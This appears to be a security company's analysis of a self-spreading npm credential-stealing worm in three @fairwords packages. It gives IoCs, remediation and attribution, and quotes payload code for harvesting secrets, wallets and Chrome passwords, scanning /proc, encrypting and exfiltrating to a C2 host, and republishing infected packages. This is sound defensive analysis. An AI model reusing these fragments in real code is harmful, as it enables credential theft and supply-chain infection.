@fairwords npm Packages Hit by Credential Worm
Table of Contents
TL;DR
Three npm packages under the @fairwords scope, @fairwords/[email protected], @fairwords/[email protected], and @fairwords/[email protected], were compromised simultaneously on April 8, 2026 (UTC). All three received an identical postinstall hook that runs a 1,149-line credential harvesting and self-propagation payload (scripts/check-env.js). The malware steals environment variables, SSH keys, cloud credentials, crypto wallet data, Chrome saved passwords, and .env files. It encrypts the stolen data with RSA-4096 and exfiltrates to two redundant channels: an HTTPS webhook and an Internet Computer (ICP) canister. If an npm token is found on the victim machine, the worm self-propagates by infecting other packages the token can publish. It also attempts cross-ecosystem propagation to PyPI using the .pth persistence technique.
Impact:
- Harvests sensitive environment variables matching 40+ patterns (AWS, GCP, Azure, GitHub, OpenAI, Stripe, etc.)
- Reads SSH keys,
.npmrc,.git-credentials,.netrc, cloud CLI configs, Kubernetes configs, Docker auth - Exfiltrates crypto wallet data: Solana keypairs, Ethereum keystores, Bitcoin wallet.dat, MetaMask (Chrome/Brave/Firefox), Phantom, Exodus, Atomic Wallet
- Decrypts Chrome saved passwords on Linux using the well-known PBKDF2(“peanuts”, “saltysalt”) key
- Self-propagates to all npm packages the victim’s token can publish
- Attempts cross-ecosystem propagation to PyPI via
.pthfile injection
Indicators of Compromise (IoC):
| Indicator | Value |
|---|---|
| Package | @fairwords/[email protected] and @1.0.39 |
| Package | @fairwords/[email protected] and @1.4.4 |
| Package | @fairwords/[email protected] and @0.0.6 (postinstall hook present, payload files missing) |
| Payload | scripts/check-env.js (SHA256: 4dbecce9ab3cf1739a9b90f9a9f304a3a44f69332320ae0753c129cf078e6f34) |
| Propagated payload | SHA256: 513eed96cabdea495a7141666eb77216dee6f0754ef643917346a47a2ff61476 |
| C2 Webhook | hxxps://telemetry[.]api-monitor[.]com/v1/telemetry (143.198.237.25, DigitalOcean, Santa Clara, US) |
| C2 Canister | l6wk4-myaaa-aaaac-qghxq-cai[.]raw[.]icp0[.]io/drop (Internet Computer) |
| Network (sandbox) | 23.236.116.77:443 (observed during @fairwords/[email protected] sandbox analysis) |
| Network (sandbox) | 209.34.235.18:443 (observed during @fairwords/[email protected] sandbox analysis) |
| RSA Public Key | public.pem (4096-bit, SHA256: 834b6e5db5710b9308d0598978a0148a9dc832361f1fa0b7ad4343dcceba2812) |
| Postinstall hook | node scripts/check-env.js || true |
Analysis
Package Overview
The @fairwords npm scope is used internally by FairWords/MyComplianceOffice (a compliance software company). The scope has 21 maintainers with @fairwords.com and @mycomplianceoffice.com email addresses. @fairwords/websocket is a fork of the popular websocket package (WebSocket-Node by theturtle32), @fairwords/loopback-connector-es is a fork of a LoopBack Elasticsearch connector, and @fairwords/encryption is an internal encryption utility.
All three packages had been dormant since 2022. On April 8, 2026 at 02:58 UTC, all three received malicious versions simultaneously ([email protected], [email protected], [email protected]). Approximately 8 minutes later, the worm self-propagated, publishing second-generation versions (1.0.39, 1.4.4, 0.0.6). These versions still contain the malicious payload (a stripped-down variant without comments but functionally identical), confirming the worm used the compromised token to re-publish itself. The fourth package in the scope, @fairwords/abstraction-layer, was not affected.
The [email protected] propagation was partially broken: package.json has the postinstall hook, but the scripts/check-env.js and public.pem files are missing from the tarball. The || true in the hook makes it fail silently, so the payload does not execute on this package.
Execution Trigger
All three packages received an identical change: a postinstall script was added to package.json, plus two new files (scripts/check-env.js and public.pem):
// package.json diff (both packages) "scripts": { "gulp": "gulp" "gulp": "gulp", "postinstall": "node scripts/check-env.js || true" }The || true ensures the install succeeds even if the payload crashes. The payload is wired to the package’s postinstall lifecycle script, so it executes during npm install of the affected package.
Phase 1: Credential Harvesting
The harvest() function is comprehensive. It collects:
Environment variables matching 40+ regex patterns covering every major cloud, CI/CD, and SaaS provider:
const sensitivePatterns = [ /TOKEN/i, /SECRET/i, /KEY/i, /PASSWORD/i, /CREDENTIAL/i, /^AWS_/i, /^AZURE_/i, /^GCP_/i, /^GOOGLE_/i, /^NPM_/i, /^GITHUB_/i, /^GITLAB_/i, /^DOCKER_/i, /^OPENAI/i, /^ANTHROPIC/i, /^COHERE/i, // LLM API keys /^PRIVATE/i, /^SIGNING/i, /^ENCRYPTION/i, // Crypto material // ... 40+ patterns total];Filesystem secrets from 30+ locations including .npmrc, SSH keys, .git-credentials, .netrc, AWS/GCP/Azure CLI configs, Kubernetes configs, Docker auth, Terraform/Pulumi credentials, Heroku/Vercel/Netlify configs, database password files (.pgpass, .my.cnf), and CI/CD tokens:
grab('npmrc', path.join(home, '.npmrc'));grabDir('ssh_keys', path.join(home, '.ssh'), (f) => f.startsWith('id_') || f === 'config' || f === 'known_hosts');grab('aws_credentials', path.join(home, '.aws', 'credentials'));grab('kubeconfig', path.join(home, '.kube', 'config'));grab('terraform_credentials', path.join(home, '.terraform.d', 'credentials.tfrc.json'));Crypto wallet data, reading the actual wallet files (not just checking existence):
// scripts/check-env.js — Solana private key (plaintext JSON, immediately spendable)grab('solana_keypair', path.join(home, '.config', 'solana', 'id.json'));
// Ethereum Geth keystore — all files, AES-encryptedgrabDir('ethereum_keystore', path.join(home, '.ethereum', 'keystore'), () => true);
// MetaMask Chrome extension LevelDB — contains AES-GCM encrypted vaultconst mmChrome = path.join( home, '.config', 'google-chrome', 'Default', 'Local Extension Settings', 'nkbihfbeogaeaoehlefnkodbefgpgknn');The payload targets MetaMask (Chrome, Brave, Firefox), Phantom (Solana), Exodus, Atomic Wallet, Bitcoin Core (wallet.dat), and Electrum wallets.
Chrome password decryption. On Linux, Chromium’s v10 encryption path uses a key derived from PBKDF2 with the hardcoded password peanuts and salt saltysalt (1 iteration). Current Chrome versions prefer a key stored in Secret Service or KWallet when available, but the v10 fallback remains in the codebase. The payload targets this legacy path:
const password = 'peanuts';const salt = Buffer.from('saltysalt');const key = crypto.pbkdf2Sync(password, salt, 1, 16, 'sha1');// ... decrypts and exfiltrates up to 50 saved passwordsProcess environment scanning. On Linux, the payload reads /proc/[pid]/environ for other processes, looking for tokens and secrets in their environment:
const procs = fs .readdirSync('/proc') .filter((f) => /^\d+$/.test(f)) .slice(0, 50);for (const pid of procs) { const env = fs.readFileSync(`/proc/${pid}/environ`, 'utf8'); if (/TOKEN|SECRET|KEY|PASSWORD/i.test(env)) { procEnvs.push({ pid, cmdline, env }); }}Our dynamic analysis infra captured this behavior at runtime — the payload was observed reading /proc/[pid]/environ for multiple processes within milliseconds:
| Package | Rule | File Accessed | Command | User | MITRE ATT&CK | Priority | |
|---|---|---|---|---|---|---|---|
| 1 | @fairwords/[email protected] | Read environment variable from /proc files | /proc/1/environ | node scripts/check-env.js | root | T1083 (Discovery) | Warning |
| 2 | @fairwords/[email protected] | Read environment variable from /proc files | /proc/7/environ | node scripts/check-env.js | root | T1083 (Discovery) | Warning |
| 3 | @fairwords/[email protected] | Read environment variable from /proc files | /proc/8/environ | node scripts/check-env.js | root | T1083 (Discovery) | Warning |
| 4 | @fairwords/[email protected] | Read environment variable from /proc files | /proc/56/environ | node scripts/check-env.js | root | T1083 (Discovery) | Warning |
| 5 | @fairwords/[email protected] | Read environment variable from /proc files | /proc/57/environ | node scripts/check-env.js | root | T1083 (Discovery) | Warning |
| 6 | @fairwords/[email protected] | Read environment variable from /proc files | /proc/1/environ | node scripts/check-env.js | root | T1083 (Discovery) | Warning |
| 7 | @fairwords/[email protected] | Read environment variable from /proc files | /proc/8/environ | node scripts/check-env.js | root | T1083 (Discovery) | Warning |
| 8 | @fairwords/[email protected] | Read environment variable from /proc files | /proc/9/environ | node scripts/check-env.js | root | T1083 (Discovery) | Warning |
| 9 | @fairwords/[email protected] | Read environment variable from /proc files | /proc/25/environ | node scripts/check-env.js | root | T1083 (Discovery) | Warning |
| 10 | @fairwords/[email protected] | Read environment variable from /proc files | /proc/26/environ | node scripts/check-env.js | root | T1083 (Discovery) | Warning |
Phase 2: Encrypted Exfiltration
All harvested data is encrypted with a hybrid RSA-4096 + AES-256-CBC scheme. A random 32-byte AES session key encrypts the payload, and the session key is then encrypted with the attacker’s 4096-bit RSA public key (bundled as public.pem). Only the holder of the private key can decrypt:
const sessionKey = crypto.randomBytes(32);const iv = crypto.randomBytes(16);const cipher = crypto.createCipheriv('aes-256-cbc', sessionKey, iv);// ... encrypt payload ...const encKey = crypto.publicEncrypt( { key: pubKey, padding: crypto.constants.RSA_PKCS1_OAEP_PADDING, oaepHash: 'sha256' }, sessionKey);The encrypted blob is sent to two independent exfiltration channels simultaneously:
HTTPS webhook at
hxxps://telemetry[.]api-monitor[.]com/v1/telemetry(143.198.237.25, DigitalOcean, Santa Clara). The malware includes an HMAC-SHA256 header to authenticate uploads to the webhook. The TLS certificate was issued by Let’s Encrypt on April 5, 2026.Internet Computer (ICP) canister at
l6wk4-myaaa-aaaac-qghxq-cai[.]raw[.]icp0[.]io/drop. This is a decentralized, censorship-resistant storage backend. The canister is live and accepting data (returns{"success":true}on POST). Large payloads are chunked into 800KB segments. This channel requires no authentication and provides a takedown-resistant fallback.
Phase 3-5: npm Self-Propagation
If an npm token is found (via NPM_TOKEN env var or .npmrc), the worm:
- Calls
/-/whoamito identify the token owner - Enumerates all packages the token can publish via
/-/user/org.couchdb.user:{username}/package - For each package: downloads the latest tarball, injects the
postinstallhook and payload, bumps the patch version, and publishes
// scripts/check-env.js — the self-propagation corepj.scripts.postinstall = 'node scripts/check-env.js || true';fs.copyFileSync(__filename, path.join(scriptsDir, 'check-env.js'));execSync(`npm publish --userconfig="${rc}" --registry="${REGISTRY}"`, { cwd: pkgDir, stdio: 'pipe', timeout: 30000,});This is confirmed by the existence of versions 1.0.39, 1.4.4, and 0.0.6, which were published 8 minutes after the initial compromise and contain a variant of the same payload (different hash, comments stripped, same functionality). The [email protected] propagation was incomplete: the postinstall hook is present but the payload files were not included in the tarball.
Phase 6: Cross-Ecosystem PyPI Propagation
If a PyPI token is found (via TWINE_PASSWORD or ~/.pypirc), the worm crosses into the Python ecosystem using the .pth file technique. Python’s site module processes .pth files in site-packages at every interpreter startup — any line starting with import is executed as code, which the malware exploits to run its payload:
// scripts/check-env.js — .pth payload (Python code)return `import os, sys, json, urllib.request, socket, platform_creds = {k: v for k, v in os.environ.items() if any(p in k.upper() for p in ['TOKEN','SECRET','KEY','PASSWORD','CREDENTIAL',...])}// ... harvest and exfiltrate to telemetry.api-monitor.com/v1/drop`;This means every python invocation on an infected system would re-harvest and exfiltrate credentials, not just during package installation.
Safety Controls (Attacker Configuration)
The payload includes configurable propagation controls via environment variables:
| Variable | Default | Purpose |
|---|---|---|
DIST_SYNC | true (dry run) | When false, enables actual propagation |
DIST_SCOPE | 0 | Max packages to infect (0 = log only, unlimited = no cap) |
_PKG_INIT | unset | Recursion guard to prevent re-infection loops |
PY_DIST_SYNC | true (dry run) | PyPI propagation toggle |
With defaults, the worm harvests and exfiltrates credentials but logs propagation without executing it. This suggests the attacker deployed incrementally: credential theft first, propagation enabled selectively per target.
Remediation
If you installed any of these versions: @fairwords/[email protected] or @1.0.39, @fairwords/[email protected] or @1.4.4, @fairwords/[email protected] or @0.0.6:
- Rotate all credentials on the affected machine immediately: npm tokens, AWS/GCP/Azure keys, SSH keys, GitHub tokens, database passwords, API keys
- Check crypto wallets: if Solana CLI, MetaMask, Phantom, Exodus, or Atomic Wallet data was present, consider those wallets compromised
- Audit npm publishes: check if any packages you maintain received unexpected version bumps
- Review Chrome saved passwords: if running on Linux, assume all Chrome-saved passwords are compromised
- Remove the packages and reinstall from known-clean versions (1.0.37 for websocket, 1.4.2 for loopback-connector-es, 0.0.4 for encryption)
Attribution: TeamPCP / CanisterWorm Campaign
This compromise is a new instance of the CanisterWorm worm, part of the broader TeamPCP supply chain campaign that has been active since March 2026. The payload identifies itself: the header comment reads “Models the full SHA1-Hulud attack chain” and references “TeamPCP .pth technique” and “TeamPCP/LiteLLM method” six times throughout the source.
The technical fingerprints match the known campaign:
- ICP canister as dead-drop. CanisterWorm was the first publicly documented malware to use ICP canisters for C2. This payload uses the same pattern (
l6wk4-myaaa-aaaac-qghxq-cai.raw.icp0.io/drop). - npm token self-propagation. The same mechanism documented in CanisterWorm’s self-spreading mutations: steal token, enumerate packages, inject postinstall hook, bump version, publish.
- Cross-ecosystem .pth injection. TeamPCP pioneered this in the LiteLLM compromise (March 24, 2026), where
.pthfiles execute on every Python interpreter startup.
The known campaign timeline: Trivy compromise (March 19) → CanisterWorm on npm (March 2026) → LiteLLM on PyPI (March 24) → @fairwords (April 8). This variant adds Chrome password decryption, comprehensive crypto wallet theft (Solana, Ethereum, MetaMask, Phantom, Exodus, Atomic), and /proc/environ scanning, representing a more evolved payload than earlier CanisterWorm samples.
Conclusion
This is the latest known propagation of the TeamPCP/CanisterWorm campaign, hitting three out of four internal packages belonging to a compliance software company. The payload combines credential harvesting across every major cloud and CI/CD platform, crypto wallet theft, Chrome password decryption, redundant encrypted exfiltration (HTTPS + decentralized ICP canister), npm self-propagation, and cross-ecosystem PyPI infection in a single postinstall script. The ICP canister as an exfiltration channel remains a takedown-resistant storage backend that traditional domain-based blocking cannot address.
- vet
- malware
- npm
- supply-chain
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Malicious @velora-dex/sdk Delivers Go RAT via npm
Version 9.4.1 of @velora-dex/sdk, a DeFi SDK with ~2,000 weekly downloads, was compromised to deliver a Go-based remote access trojan (minirat) targeting macOS developers.

prt-scan: A 5-Phase GitHub Actions Credential Theft Campaign
A throwaway GitHub account submitted 219+ malicious pull requests in a single day, each carrying a 352-line payload that steals CI secrets, injects workflows, bypasses label gates, and scans /proc...

Malicious hermes-px on PyPI Steals AI Conversations
hermes-px on PyPI steals AI conversations via triple-encrypted exfiltration to Supabase, routing through a hijacked university endpoint while injecting a stolen 245KB system prompt.

Thirty-Six Malicious npm Strapi Packages Deploy Redis RCE, Database Theft, and Persistent C2
A coordinated campaign of thirty-six malicious npm packages published by four sock-puppet accounts (umarbek1233, kekylf12, tikeqemif26, and umar_bektembiev1) targets Strapi CMS deployments with eight...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
